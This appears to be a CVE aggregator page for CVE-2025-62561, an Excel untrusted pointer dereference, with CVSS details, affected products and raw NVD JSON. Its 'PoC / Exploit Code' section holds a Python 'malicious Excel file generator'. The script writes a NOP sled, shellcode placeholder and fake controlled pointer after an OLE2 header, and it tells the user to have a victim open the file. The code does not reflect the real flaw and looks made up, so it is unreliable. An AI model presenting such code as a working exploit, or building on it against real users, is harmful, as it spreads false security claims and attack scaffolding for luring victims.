Security Vulnerability Report
中文
CVE-2025-62561 CVSS 7.8 HIGH

CVE-2025-62561

Published: 2025-12-09 18:16:02
Last Modified: 2025-12-10 15:36:17

Description

Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016
Microsoft Office Excel 2019
Microsoft Office Excel 2021
Microsoft 365 Apps for Enterprise
Microsoft Office for Mac 2019
Microsoft Office for Mac 2021
Microsoft 365 for Mac

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62561 PoC - Malicious Excel File Generator # This PoC demonstrates the structure needed to trigger the untrusted pointer dereference # Note: Actual exploitation requires specific memory layout and Excel version import struct import os def create_malicious_excel(): """ Generate a malicious Excel file that triggers CVE-2025-62561 The vulnerability allows pointer control through specially crafted data """ # Excel OLE2 file header ole2_header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # Compound Document File Format structures # Modified to trigger untrusted pointer dereference # Sector allocation table - manipulate to control pointer sector_allocation = bytearray(512) # Malicious data stream that triggers the vulnerability malicious_stream = bytearray() # Add shellcode placeholder (would need to be customized for actual exploitation) shellcode = b'\x90' * 256 # NOP sled shellcode += b'\xcc' * 16 # Breakpoint for debugging malicious_stream.extend(shellcode) # Controlled pointer value that will be dereferenced controlled_pointer = struct.pack('<Q', 0x4141414141414141) # Controllable pointer malicious_stream.extend(controlled_pointer) # Padding to reach critical file size malicious_stream.extend(b'\x00' * (1024 - len(malicious_stream))) # Create the malicious Excel file output_file = 'CVE-2025-62561_poc.xlsx' with open(output_file, 'wb') as f: f.write(ole2_header) f.write(sector_allocation) f.write(malicious_stream) print(f"[+] Created malicious Excel file: {output_file}") print(f"[!] This file triggers untrusted pointer dereference in Excel") print(f"[*] User interaction required: victim must open the file") return output_file def create_xml_payload(): """ Alternative: XML-based payload for newer Excel formats (.xlsx) """ xml_content = '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets> <sheet name="Sheet1"/> </sheets> </workbook> ''' # Malicious XML with specially crafted data malicious_xml = xml_content + ('\x41' * 2048) # Padding to trigger overflow return malicious_xml if __name__ == '__main__': print("=" * 60) print("CVE-2025-62561 PoC Generator") print("Target: Microsoft Office Excel") print("Vulnerability: Untrusted Pointer Dereference") print("=" * 60) create_malicious_excel() print("\n[*] To test this PoC:") print("1. Open the generated file in Microsoft Office Excel") print("2. The file will trigger the untrusted pointer dereference") print("3. With proper exploitation, arbitrary code execution is possible")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62561", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:01.943", "lastModified": "2025-12-10T15:36:17.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20075", "matchCriteriaId": "006A74C2-A28C-40D5-BE4D-AB8C0F3C16B8"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62561", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}